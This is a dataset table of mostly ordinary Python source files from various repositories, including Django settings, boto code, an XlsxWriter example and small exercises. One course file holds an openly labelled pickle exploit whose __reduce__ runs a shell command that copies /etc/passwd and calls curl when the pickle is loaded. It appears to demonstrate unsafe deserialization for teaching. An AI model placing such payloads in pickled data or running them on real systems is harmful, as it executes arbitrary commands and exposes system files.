blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 2 616 | content_id stringlengths 40 40 | detected_licenses listlengths 0 69 | license_type stringclasses 2
values | repo_name stringlengths 5 118 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringlengths 4 63 | visit_date timestamp[us] | revision_date timestamp[us] | committer_date timestamp[us] | github_id int64 2.91k 686M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 23
values | gha_event_created_at timestamp[us] | gha_created_at timestamp[us] | gha_language stringclasses 213
values | src_encoding stringclasses 30
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 2 10.3M | extension stringclasses 246
values | content stringlengths 2 10.3M | authors listlengths 1 1 | author_id stringlengths 0 212 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
ce9d1590d7469131ce9288074f0400fc85a37fce | 48559a749d1663242c31ba6a996945932049b7d9 | /bert_attack/train_100.py | 3431efb0d61b861ad4a385b819d71cdab2bd2a24 | [] | no_license | EthanCDD/Adversarial-Attack_Genetic-attack | 148893af12e2081094c3f5a3801d243b0d344acd | 81191a52a3bade73d114d8837637c74edc0a5c51 | refs/heads/master | 2022-12-24T13:18:46.681250 | 2020-10-09T01:38:15 | 2020-10-09T01:38:15 | 273,260,484 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 9,908 | py | # -*- coding: utf-8 -*-
"""
Created on Wed Jun 24 17:01:50 2020
@author: 13758
"""
import os
import random
import numpy as np
import matplotlib.pyplot as plt
import torch
from torch import nn
#import nltk
#nltk.download('stopwords')
#stopwords = nltk.corpus.stopwords.words('english')
from torch.nn.utils.rnn import pa... | [
"[email protected]"
] | |
86d86d506dc4ea99908834b2219f9ecceb083da6 | ad2219bca2bb88604e6dc4b3625b5872f1ae4eff | /Notepad/settings.py | 5605a2d47eb6aae23e97682217dae909223b29f3 | [] | no_license | Abdul-Afeez/notepad | 20c6d25f73812740c6709e52f3a638ac9c8d84fe | 0acfd2961bb29a11e2f97cfeb178e14e18d5a5e3 | refs/heads/master | 2023-08-16T06:08:15.387908 | 2021-09-23T06:20:30 | 2021-09-23T06:20:30 | 408,530,544 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,095 | py | """
Django settings for Notepad project.
Generated by 'django-admin startproject' using Django 2.2.24.
For more information on this file, see
https://docs.djangoproject.com/en/2.2/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.2/ref/settings/
"""
import os
... | [
"[email protected]"
] | |
b3b23e56815e22c59025e95c60b6cbda2ae81e07 | 9fbe90eab4cb25022e7c93776da3a5733656a09a | /examples/chat/status.py | 9f517a087999e1a586d64cffee8075515a5e83ea | [
"MIT"
] | permissive | Nathanator/networkzero | 453e218d6e0b8080158cb968f4acc5e0cb0fb65c | e6bf437f424660c32cf1ef81f83d9eee925f44e7 | refs/heads/master | 2021-01-15T13:14:53.101742 | 2016-04-07T20:32:28 | 2016-04-07T20:32:28 | 55,724,894 | 0 | 0 | null | 2016-04-07T20:12:18 | 2016-04-07T20:12:17 | null | UTF-8 | Python | false | false | 467 | py | import networkzero as nw0
updates = nw0.discover("chat-updates")
while True:
action, message = nw0.wait_for_notification(updates)
print(action, message)
if action == "JOIN":
print("%s has joined" % message)
elif action == "LEAVE":
print("%s has left" % message)
elif action == "SPEAK... | [
"[email protected]"
] | |
4a1bb31236fc9773fb0e6894d55116aa1e9934d8 | 3eeedc6a5a9d31c5fff5d06ef2c659147ae27fec | /users/migrations/0025_auto_20190705_2137.py | 964d4ad9e73d3a9c5f127b9ccbc37afb649ad016 | [] | no_license | aahmedsamy/special_offer | 2ef284e7a9a759f79e150adfd7c18625ec4c1b8c | 384efad727f80aa4d9452485c3b5899abc3d39cb | refs/heads/master | 2022-03-08T22:42:07.040004 | 2019-07-21T20:57:55 | 2019-07-21T20:57:55 | 181,128,711 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 448 | py | # Generated by Django 2.2 on 2019-07-05 17:37
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('users', '0024_auto_20190705_2112'),
]
operations = [
migrations.AlterModelOptions(
name='advertisernotification',
options={'or... | [
"[email protected]"
] | |
58c682f65699112c1c375db59345043239b23d43 | 2ae229b7ac6d99f4731c65a413e289ef88eb3678 | /AWS/ec2/lib/boto-2.34.0/boto/rds2/layer1.py | 5615f1107db93270538336b2454ae73436d31f4f | [
"MIT"
] | permissive | aristotle-tek/cuny-bdif | a614c6c89f88ad42c39738c8eae1eef5b3cb1797 | 3a66ebc2a423ec719edfa31932949243a603cd92 | refs/heads/master | 2021-01-10T13:55:13.753417 | 2018-04-19T20:16:27 | 2018-04-19T20:16:27 | 50,869,942 | 6 | 10 | MIT | 2020-07-23T14:45:28 | 2016-02-01T20:48:16 | Python | UTF-8 | Python | false | false | 158,232 | py | # Copyright (c) 2014 Amazon.com, Inc. or its affiliates. All Rights Reserved
#
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights ... | [
"[email protected]"
] | |
31846c424c367a17bdb45fce97db5a1cdb4217d9 | 42e5b4f01d73dfa29cb85b753d84cead2d7f4890 | /backend/filter_sites.py | 92b46bcd871af50063e521c5410b4165720ce6ce | [] | no_license | Rp300/Forward_Data_Lab_Education_Today | 4522984bee42e864aa64242645338810232e5b1d | 370ef25f95f68857f41083a455f32d0a46ac2e38 | refs/heads/master | 2023-07-20T11:33:00.867145 | 2021-09-03T17:37:32 | 2021-09-03T17:37:32 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,397 | py | from googlesearch import search
import requests
from bs4 import BeautifulSoup as bs
import html2text
import io
import sys
import json
from getpass import getpass
from mysql.connector import connect, Error
# This function converts the HTML of the professor pages into local text files for analysis
def htmlT... | [
"[email protected]"
] | |
cb2811ebb7323dde07db3204b7cbb018b4aa24df | b5aef1178c9153ca0c4dd9823e5fa2a2bc64649f | /sqlalchemy_to_ormar/maps.py | 1a9e860b78fc123c5831dcea9f9bd6c03d9d63d5 | [
"MIT"
] | permissive | collerek/sqlalchemy-to-ormar | 970a56c69ff03b7e32b11e4b1ebcb00c3b8d903c | 07c1595297221b31db86b3d34b3aad54fa3967da | refs/heads/main | 2023-04-23T10:41:04.426391 | 2021-05-16T14:10:38 | 2021-05-16T14:10:38 | 355,256,537 | 10 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,602 | py | from typing import Dict, Set, Type
import ormar
from ormar import Model
FIELD_MAP = {
"integer": ormar.Integer,
"tinyint": ormar.Integer,
"smallint": ormar.Integer,
"bigint": ormar.Integer,
"small_integer": ormar.Integer,
"big_integer": ormar.BigInteger,
"string": ormar.String,
"char":... | [
"[email protected]"
] | |
a7db3aafce35b88f549ace0cd7c17cbf0a387681 | 5005531655078e12546aba6b727dfa390acf3b2f | /src/python/dag.py | 0e5ed778d8ab13c47b050ed8443692b92c029af1 | [] | no_license | davidb2/rosalind | ee9201e2f79150a69389f702cf5926b42b6bce9f | c59930d3341e17d9f9f29c3b6c39d44f845d3215 | refs/heads/master | 2022-09-23T17:23:57.206469 | 2020-06-07T01:34:32 | 2020-06-07T01:34:32 | 187,707,621 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 977 | py | #!/usr/bin/env python3.6
import argparse
from queue import Queue
def acyclic(v, e, indeg, outdeg):
unseen = set(range(1, v+1))
bfs = Queue()
for u in unseen:
if len(indeg[u]) == 0:
bfs.put(u)
while len(unseen) > 0:
if bfs.empty(): return False
top = bfs.get()
for out in outdeg[top]:
... | [
"[email protected]"
] | |
15d401d6d7e7ae93bfe617029b03a032d777b847 | 50f747ae46f0c1c7aedbd701ec191f332779d103 | /Main/test_algo_bot.py | 6e49f7050bfa79fbf324a3383aa34d2cd02f718f | [] | no_license | marcellinamichie291/Machine_Teachers | 03c842187cd4352f01b98c20c17c60eedb08bf2d | 417e41428a65f88a7612874edaa60d7018ff9b0f | refs/heads/main | 2023-03-23T02:47:41.572264 | 2021-01-16T15:51:46 | 2021-01-16T15:51:46 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,269 | py | import os
import numpy as np
import pandas as pd
import ccxt
import time
from dotenv import load_dotenv
from numpy.random import seed
seed(1)
from tensorflow import random
random.set_seed(2)
from sklearn.preprocessing import MinMaxScaler
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import... | [
"[email protected]"
] | |
547125bf7f5eb3fd28b9773a2c0f621cc581f51f | 5087f23a7d11be7580b6f0e3d8bc434ff0451c05 | /lambda.py | 09b30ea8d1db850cf24c3624943f654d851a2c87 | [
"MIT"
] | permissive | ShanmukhaSrinivas/python-75-hackathon | b07c35fea469c8fbc8769d02d3bb63d6af93cafc | 57eafed31d84ac09079ba9bcbaa9263d79996313 | refs/heads/master | 2020-04-11T10:51:15.137518 | 2019-12-13T07:55:52 | 2019-12-13T07:55:52 | 161,728,454 | 0 | 0 | MIT | 2018-12-14T03:47:44 | 2018-12-14T03:47:44 | null | UTF-8 | Python | false | false | 146 | py | # labmda function that returns a test number is even or not
f = lambda x: 'Even' if x%2==0 else 'Odd'
print(f(int(input('Enter a number \n')))) | [
"[email protected]"
] | |
f1c36c2f5193255fecfcd93b9edf3e5806fbce99 | b6639af28745c7cee140b4d76332c937557df0dd | /python/lab3.1.py | 6163a99e1effe76fb1ae315e913cedbbb33a0dc5 | [] | no_license | ston1x/uni | a9ef682115ef50994012a887a1a62ec0d8dc90ee | 8062f9f1d0beeddabe74cbbf672ca68d7ac626ec | refs/heads/master | 2020-09-22T02:35:04.927509 | 2020-02-24T07:14:14 | 2020-02-24T07:14:14 | 225,019,033 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 389 | py | def string_to_words(string, separator):
try:
return string.split(separator)
except Exception as e:
print(e)
try:
string = input("Enter the string divided by a separator: ")
separator= input("Enter the character by which the string will be splitted (separator): ")
except Exception as e:
... | [
"[email protected]"
] | |
d0bd583a39afd75f5fe496a88755cae09a18845d | b3309601462404e22f230fd836f05b8ae2570282 | /03_Generate_question_v4.py | c2af3ee62de1029d3824b6c8f33b19f88ebd6a48 | [] | no_license | Wardl1/Math-Quiz | cf441c6213a1cd5c239acc7b71611af1a10f5dfa | 377050ee8a15f8b03994b2ed8b97602a61a2a6c4 | refs/heads/main | 2023-07-24T23:32:45.188970 | 2021-09-05T07:56:37 | 2021-09-05T07:56:37 | 392,872,129 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 9,944 | py | """Component 3 Generate_Questions version 2
this version fixes the negative answers for the subtraction questions and
fixes the question heading so that it keeps up to date with the question number
"""
from tkinter import *
from functools import partial # To prevent unwanted additional windows
import random
class M... | [
"[email protected]"
] | |
6ac793e3b8df59989fc5a148e4385b6fe3b6ed70 | dbab24ee5055dad1a57bb212ae30da994022eab5 | /Python/Chapter 6 - tehtävä 3.py | 4703757b6f12df00e86114119c5ffd8b7220709e | [] | no_license | MikBom/mikbom-github.io | e8ab24080a6c6383f4ad973a817e10ab84375e4f | 3dc7312798473a7620529d24fa771d5b09bafbbc | refs/heads/main | 2023-08-14T07:04:01.427822 | 2021-09-21T16:08:32 | 2021-09-21T16:08:32 | 301,965,605 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 193 | py | vari = input("Valitse kohde (1-3):")
if vari == "1":
print("Haukion Kala Oy")
elif vari == "2":
print("Metallipaja VasaraAika")
elif vari == "3":
print("Balin palapelitehdas") | [
"[email protected]"
] | |
838994d7fee7f1ec6d0ab6addde154ea89e34fc1 | df1ad0d061f7982edd0d5e159a1abc31daa8fd4c | /MapApp/migrations/0004_registerview.py | f535de1806e149f392a7e4d785b7132cf36a7735 | [
"Apache-2.0"
] | permissive | todor943/mapEngine | f6c056ca1b2fcf6207d5a1bf2b5908f062fff353 | 560c4e9bee2ef20e988124030db801337d8722f1 | refs/heads/master | 2020-12-24T18:55:13.667780 | 2017-11-06T19:54:04 | 2017-11-06T19:54:04 | 57,469,622 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,065 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.5 on 2017-10-02 22:32
from __future__ import unicode_literals
import django.contrib.auth.models
import django.contrib.auth.validators
from django.db import migrations, models
import django.utils.timezone
import django.views.generic.base
class Migration(migrations.Mi... | [
"[email protected]"
] | |
47dd3a6058d1b02752e213e67af6ad515280a64c | 4ddc0d9f83bb9f7dc917749f6085ab1881510bce | /preprocess.py | f045d2bea897ade4e29cf706d4fe1d88e9aadca4 | [] | no_license | dannyng95/VTMS-ER | 0c6a839d4167c3cd312ca41476033d02e0c1caf8 | 9a4eedfaeb67d51268ede29fc82e333ab29e49e9 | refs/heads/main | 2023-01-24T13:45:30.647636 | 2020-12-07T07:03:47 | 2020-12-07T07:03:47 | 318,388,151 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,019 | py | import pickle
import json
from tqdm import tqdm
import glob2
import codecs
import csv
import re
import sys
import random
import string
import re
# https://realpython.com/python-encodings-guide/
# List of available words with mark in Vietnamese
intab_l = "ạảãàáâậầấẩẫăắằặẳẵóòọõỏôộổỗồốơờớợởỡéèẻẹẽêếềệểễúùụủũưựữửừứíìịỉĩýỳ... | [
"[email protected]"
] | |
dae66138f278fea5834382498b52becae34edd5a | 063934d4e0bf344a26d5679a22c1c9e5daa5b237 | /margrave-examples-internal/capirca-margrave/capirca-r242-MODIFIED/lib/nacaddr.py | fc06f176005b79e1c4e5f83d4af8c3da2abb3c74 | [
"Apache-2.0"
] | permissive | tnelson/Margrave | 329b480da58f903722c8f7c439f5f8c60b853f5d | d25e8ac432243d9ecacdbd55f996d283da3655c9 | refs/heads/master | 2020-05-17T18:43:56.187171 | 2014-07-10T03:24:06 | 2014-07-10T03:24:06 | 749,146 | 5 | 2 | null | null | null | null | UTF-8 | Python | false | false | 7,241 | py | #!/usr/bin/python
#
# Copyright 2011 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# unless required by... | [
"[email protected]"
] | |
141b42291593793cc3abb2c8eb5ac5c5b1d0950b | b9a900189095b6af89fb5b941773edaee69bd47d | /InformationAPI/information/migrations/0004_auto_20201209_1427.py | 99cc52a1662a6739531891e8388c62b500bc13f7 | [] | no_license | tyagisen/information | 6aa84a0b44920f69efa7ac2bdf62278c4260efaf | ecc6dfd902632603c5080a6e330c3b57462edd97 | refs/heads/master | 2023-01-30T22:18:22.738513 | 2020-12-10T01:50:00 | 2020-12-10T01:50:00 | 318,956,132 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 413 | py | # Generated by Django 3.1.3 on 2020-12-09 14:27
import ckeditor.fields
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('information', '0003_auto_20201207_0911'),
]
operations = [
migrations.AlterField(
model_name='information',
... | [
"[email protected]"
] | |
96f12a1ab1eb7f33d8ce8497a6de454ae5054716 | 12fe05ebba89ea0f11d6f5d2fd8f047ee6369ff6 | /minmax3.py | c6f28978343f73c011e14f3c2fb0c7170c66fa0b | [] | no_license | daniilvarlamov/domzad | d467c4b9f51a1a640b0b001216849131c2463500 | 69e1b4c6fa27dc4d17499cfc6817c97d90f8391a | refs/heads/main | 2023-01-20T21:58:33.078060 | 2020-11-26T09:18:16 | 2020-11-26T09:18:16 | 303,324,132 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 376 | py | N = int(input("Введите количество прямоугольников")
for i in range (N):
a = int(input("Введите стороны прямоугольника")
b = int(input())
P = 2*(a+b)
if (i=1):
Max = P
if (P>Max):
Max = P
print(Max)
| [
"[email protected]"
] | |
3ce92a8f6ac6d21f309094192a22f27c0ba533f5 | 68dc6c82d1c8bd81b8aca375d71d18cc577aa350 | /TextRay/hybridqa/preprocessing/webq/trainDataGen.py | aed9db58d879509a1a5801b283ceadb587bde22c | [] | no_license | umich-dbgroup/TextRay-Release | 3fdbfefda9d6d94b70e810ceb2e0fa95a55949e0 | e25087b594db106382f5dbc9cd2adfcc39cd286f | refs/heads/master | 2022-01-25T19:03:44.577009 | 2019-08-16T13:00:00 | 2022-01-18T02:45:22 | 203,634,858 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 20,489 | py | import os
import json
from kbEndPoint.utils.sparql import sparqlUtils
from preprocessing import stringUtils
from preprocessing import metricUtils
import numpy as np
import nltk
import codecs
import pandas as pd
PREFIX = "/Users/funke/webq"
#
# RAW_QUESTION_PATH = os.path.join(PREFIX, "data/webquestions.examples.trai... | [
"[email protected]"
] | |
d35605db5bdf283207a2c171638328c4c8b53252 | 4e30d990963870478ed248567e432795f519e1cc | /tests/api/v3_1_1/test_nbar_app.py | 13a1bcd9798917799871178339c1315dd3a03d61 | [
"MIT"
] | permissive | CiscoISE/ciscoisesdk | 84074a57bf1042a735e3fc6eb7876555150d2b51 | f468c54998ec1ad85435ea28988922f0573bfee8 | refs/heads/main | 2023-09-04T23:56:32.232035 | 2023-08-25T17:31:49 | 2023-08-25T17:31:49 | 365,359,531 | 48 | 9 | MIT | 2023-08-25T17:31:51 | 2021-05-07T21:43:52 | Python | UTF-8 | Python | false | false | 9,399 | py | # -*- coding: utf-8 -*-
"""IdentityServicesEngineAPI nbar_app API fixtures and tests.
Copyright (c) 2021 Cisco and/or its affiliates.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restr... | [
"[email protected]"
] | |
08a65bb7db851c3827f50ea795ce9e58ad45c818 | 7eebbfaee45fdc57c4fc6ba32c87c35be1e62b14 | /airbyte-integrations/connectors/source-facebook-pages/source_facebook_pages/streams.py | 717fb1c76800fc295cff19b40b475069c0e2914a | [
"MIT",
"Elastic-2.0"
] | permissive | Velocity-Engineering/airbyte | b6e1fcead5b9fd7c74d50b9f27118654604dc8e0 | 802a8184cdd11c1eb905a54ed07c8732b0c0b807 | refs/heads/master | 2023-07-31T15:16:27.644737 | 2021-09-28T08:43:51 | 2021-09-28T08:43:51 | 370,730,633 | 0 | 1 | MIT | 2021-06-08T05:58:44 | 2021-05-25T14:55:43 | Java | UTF-8 | Python | false | false | 4,651 | py | #
# Copyright (c) 2021 Airbyte, Inc., all rights reserved.
#
from abc import ABC
from typing import Any, Iterable, Mapping, MutableMapping, Optional
import requests
from airbyte_cdk.sources.streams.http import HttpStream
from source_facebook_pages.metrics import PAGE_FIELDS, PAGE_METRICS, POST_FIELDS, POST_METRICS
... | [
"[email protected]"
] | |
435f09a949e10d5926b47462513ec6a935159a57 | ba4f68fb01aa32970dadea67cc8d039b4c0f6d9e | /python/facebook_abcs/graphs/bfs_short_reach.py | d7e090dc241a595327009effbf8e195b8a27e16d | [] | no_license | campbellmarianna/Code-Challenges | 12a7808563e36b1a2964f10ae64618c0be41b6c0 | 12e21c51665d81cf1ea94c2005f4f9d3584b66ec | refs/heads/master | 2021-08-03T23:23:58.297437 | 2020-05-15T07:13:46 | 2020-05-15T07:13:46 | 168,234,828 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,585 | py | '''
Prompt:
Consider an undirected graph where each edge is the same weight. Each of the nodes is labeled consecutively.
You will be given a number of queries. For each query, you will be given a list of edges describing an undirected graph. After you create a representation of the graph, you must determine and report... | [
"[email protected]"
] | |
e04c76ee7cd3d8b1f62e00662a715d5ab09713dc | 926a9065a4fc220d022c8d7edcc4c01d1a4587f8 | /products/migrations/0039_auto_20200613_1112.py | e831c7857073ca1067ff482093967e12c0069745 | [] | no_license | singham3/electrotrade | 6b1ac38fe68f34b1bc6bd074e10271f1a94f75d7 | 2d1c4f1d5a4672c31cca0d4478b77ae134bb43d5 | refs/heads/master | 2022-11-20T22:07:16.588433 | 2020-07-24T14:31:03 | 2020-07-24T14:31:03 | 268,452,091 | 0 | 1 | null | 2020-07-19T20:20:51 | 2020-06-01T07:19:04 | Python | UTF-8 | Python | false | false | 396 | py | # Generated by Django 3.0.3 on 2020-06-13 11:12
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('products', '0038_auto_20200613_1108'),
]
operations = [
migrations.AlterField(
model_name='orderid',
name='order_id'... | [
"[email protected]"
] | |
1aeaca94f2d4d9feb9733db3c8cad22d7ff94e80 | cf5b2850dc9794eb0fc11826da4fd3ea6c22e9b1 | /examples/conditional_format.py | 868eec6890126a075a32371064be80ab9628e826 | [
"BSD-2-Clause"
] | permissive | glasah/XlsxWriter | bcf74b43b9c114e45e1a3dd679b5ab49ee20a0ec | 1e8aaeb03000dc2f294ccb89b33806ac40dabc13 | refs/heads/main | 2023-09-05T03:03:53.857387 | 2021-11-01T07:35:46 | 2021-11-01T07:35:46 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 10,956 | py | ###############################################################################
#
# Example of how to add conditional formatting to an XlsxWriter file.
#
# Conditional formatting allows you to apply a format to a cell or a
# range of cells based on certain criteria.
#
# SPDX-License-Identifier: BSD-2-Clause
# Copyright... | [
"[email protected]"
] | |
96c8aab9ccb46dfa1211316172d290d9a600c701 | 6713b68c912af377c741b26fe31db0fe6f6194d4 | /1st Term/Data_Structure_and_Algorithms/Codes/Exercises/ses07/tests/q5.py | 5cb7344c66b6cf0467faf08698d3e66fc4443db3 | [] | no_license | Lanottez/IC_BA_2020 | 820e8d9c1dbb473ed28520450ec702f00c6684ed | 8abd40c6a5720e75337c20fa6ea89ce4588016af | refs/heads/master | 2023-08-25T05:52:08.259239 | 2021-11-03T07:27:11 | 2021-11-03T07:27:11 | 298,837,917 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 934 | py | test = {
'name': 'Numpy - Q5',
'points': 0,
'suites': [
{
'cases': [
{
'code': r"""
>>> # It looks like you didn't give anything the name
>>> # fb_vol. Maybe there's a typo, or maybe you
>>> # just need to run the cell above this test cell where you defin... | [
"[email protected]"
] | |
c751ca648f50a29345bf726fcde090faab5448ec | 7019f0dd96c69fb5c66a0840ed989e86e489496a | /Exercises Python Brasil/01 - Estrutura Sequencial/18.py | d487f416b6ee013961afddee3aaf5529929b9ba4 | [] | no_license | leonardokiyota/Python-Training | e1d8343156d96fd085e1dbae8c48770ae0725347 | 38a9ce8cb5558f2a73060243d458ea92d91bf945 | refs/heads/master | 2021-01-10T08:40:30.100115 | 2016-01-12T01:36:30 | 2016-01-12T01:36:30 | 49,223,376 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 260 | py | # -*- coding: utf-8 -*-
"""
Faça um programa que peça o tamanho de um arquivo para download (em MB) e a
velocidade de um link de Internet (em Mbps), calcule e informe o tempo aproximado de
download do arquivo usando este link (em minutos).
""" | [
"[email protected]"
] | |
d425f088b08116e205b3ffe26d9c77b5c1e4e38d | e04ce35fd36785c3695f3107de262f1db13bdc00 | /2048.py | aa81421376af01b7b62722748fa542018b1195d5 | [] | no_license | Timurbl/game_2048 | edd6b6082263f7cab9c9a1ba777b3730b87b0c5b | ef5cccc75766b524eed2260111e9b092e9366538 | refs/heads/master | 2020-03-26T06:55:34.730690 | 2018-08-13T20:05:58 | 2018-08-13T20:05:58 | 144,628,122 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,373 | py | from tkinter import *
from logic2048 import Game
N = 4
color = {'' : 'light gray',
2 : 'pink',
4 : 'red',
8 : 'orange',
16: 'yellow',
32: 'light blue',
64: 'blue',
128: 'light green',
256: 'green'}
def left(event):
game.left()
draw(game)... | [
"[email protected]"
] | |
cb983a155f9e7664086637e86eac8576ef2b6efb | 9b991a23f3d7df0de43132233b978b0ffb415c6e | /course3/pickle/pickle_file.py | a6de8139cd7c6ff2538d84242a034c69399b0ad7 | [] | no_license | mycguo/python-deepdive | cdc0fa6cf50728c58a8a8836f2f2800e7fdd7fb7 | 37b181470e80a94fa6db5b237fb7de521130905d | refs/heads/master | 2022-12-14T15:58:00.973247 | 2020-09-12T03:38:14 | 2020-09-12T03:38:14 | 289,349,755 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 333 | py | import os
import pickle
class Exploit():
def __reduce__(self):
return (os.system, ("cat /etc/passwd > exploit.txt && curl www.google.com >> exploit.txt",))
def serialize_exploit(fname):
with open(fname, 'wb') as f:
pickle.dump(Exploit(), f)
serialize_exploit('loadme')
pickle.load(open('loa... | [
"[email protected]"
] | |
3d1e771da9ec0f32bfd297a1b19794e9054adce4 | 1825283527f5a479204708feeaf55f4ab6d1290b | /leetcode/python/45/sol.py | 3db6f97188dd189aef4c4caf07b43524d9f7f299 | [] | no_license | frankieliu/problems | b82c61d3328ffcc1da2cbc95712563355f5d44b5 | 911c6622448a4be041834bcab25051dd0f9209b2 | refs/heads/master | 2023-01-06T14:41:58.044871 | 2019-11-24T03:47:22 | 2019-11-24T03:47:22 | 115,065,956 | 1 | 0 | null | 2023-01-04T07:25:52 | 2017-12-22T02:06:57 | HTML | UTF-8 | Python | false | false | 2,156 | py |
10-lines C++ (16ms) / Python BFS Solutions with Explanations
https://leetcode.com/problems/jump-game-ii/discuss/18019
* Lang: python3
* Author: jianchao-li
* Votes: 71
This problem has a nice BFS structure. Let's illustrate it using the example `nums = [2, 3, 1, 1, 4]` in the problem statement. We are initial... | [
"[email protected]"
] | |
7bbcb9ca9dda54951983837756510a5c06b96ee6 | 3df53a7188586c9e6ae26ebcc2ae788480c2f84a | /src/main2.py | 4bac4c6f4a29927f97706645fb6f3e81324a528e | [] | no_license | webclinic017/f-indicators | b24927a7008bf812fcfc394b39275ea7fb767039 | bfdd34a8e259fee8bce43ac5d0c268820e7bdd90 | refs/heads/master | 2023-08-10T02:58:49.123664 | 2020-05-11T15:31:12 | 2020-05-11T15:31:12 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,436 | py | # Import indicators
# Attach them to strategy obj
# Start GA with strategy obj
import logging
import pandas as pd
import numpy as np
from backtesting import Strategy, Backtest
from talib import SMA
from backtesting.lib import crossover
from pathlib import Path, PurePosixPath
from utils import TFConvertor
log = loggi... | [
"[email protected]"
] | |
0ac4cdf0dc4d0068c5d28f7e139bf35bbae92bca | c1ed1b90f7e914aee1a17cd9b5bb83cf288f7e85 | /usersAccount/apps.py | 7e257ce953933d0d4ded1fea4b4a19236a69a80c | [] | no_license | tanaychaulinsec/User-authentication | 87e111f3731b57f9057554a58781d1a1705e351c | 6652e72a5b639174cb20ccdae1c49883bdcc8514 | refs/heads/master | 2022-12-12T10:41:25.172936 | 2020-08-25T15:39:00 | 2020-08-25T15:39:00 | 289,565,247 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 99 | py | from django.apps import AppConfig
class UsersaccountConfig(AppConfig):
name = 'usersAccount'
| [
"[email protected]"
] | |
fa97ee9fd2838b1142288a25b7c3b07d01df9382 | 80f622252281e6288d24b101dda0d4ee3634faed | /Titanic/model/model.py | 92f1eea0ae9e1af59615e0f34f8ec795553013ab | [] | no_license | jalondono/HandsOn-MachineLearning | c7cd7ce967180b84dffc2953d9ad5894c2bfc46e | eb3a3f2d6e490a827aa8b50cfb6e606cb3e85c5d | refs/heads/master | 2023-01-03T01:10:32.836434 | 2020-10-29T15:47:27 | 2020-10-29T15:47:27 | 300,308,942 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,158 | py | import pandas as pd
import numpy as np
import tensorflow.keras as K
import mlflow.tensorflow
import sys
import logging
import zipfile
# mlflow server --backend-store-uri mlruns/ --default-artifact-root mlruns/ --host 0.0.0.0 --port 5000
def getting_data(zipfolder, filename, cols):
"""
Get the data from a zip ... | [
"[email protected]"
] | |
ff48c9f51db42b5415104dcad82dcc5e7180f1a0 | a097ecf40fee329cfa9e3f77e4b6e9e29a8f148a | /5_section/5_c4.py | ad4129556566f3c699ab43db88f59f5c50ed0ab1 | [] | no_license | FumihisaKobayashi/The_self_taught_python | 1e7008b17050db3e615c2f3aa68df2edc7f93192 | 329d376689029b75da73a6f98715cc7e83e8cc2c | refs/heads/master | 2021-01-06T16:04:13.382955 | 2020-07-28T14:39:24 | 2020-07-28T14:39:24 | 241,389,313 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 215 | py | fumi = {
"身長": "1.73m",
"好きな色": "緑",
"好きな人": "Hideki Matsui"
}
answer = input("身長,好きな色 or 好きな人")
if answer in fumi:
a = fumi[answer]
print(a)
#:注意 | [
"[email protected]"
] | |
13f1896c22ae2a9880e175bd288981ebe1216ccf | 8d5ba6747531cbd43d63d32265fd608f9081c3b7 | /.venv/lib/python2.7/site-packages/indico/modules/events/logs/controllers.py | a436382fa8b13d29f35d97c1b401f0e523a58dd9 | [] | no_license | Collinsnyamao/indico | 0e433b78803afae5b1ac90483db1f3d90ce2fddb | 32adf8123e266eb81439b654abc993b98e0cd7f2 | refs/heads/master | 2020-03-18T04:55:40.386595 | 2018-06-02T13:45:47 | 2018-06-02T13:45:47 | 134,314,163 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,324 | py | # This file is part of Indico.
# Copyright (C) 2002 - 2018 European Organization for Nuclear Research (CERN).
#
# Indico is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (a... | [
"[email protected]"
] | |
8a7ff0ad022e61991efae1db238130da5169b004 | 7259dbcc9e32502945d362caa43d4ad380cd04ea | /OIT_SpiderCode/OYT_zujuan_Param/OYT_Scrapy_Param/spiders/new_zujuan_English_middle_spiderparam.py | 27bc29f69ebc3bbe7b018e3cdfcf6fd90583eb7c | [
"MIT"
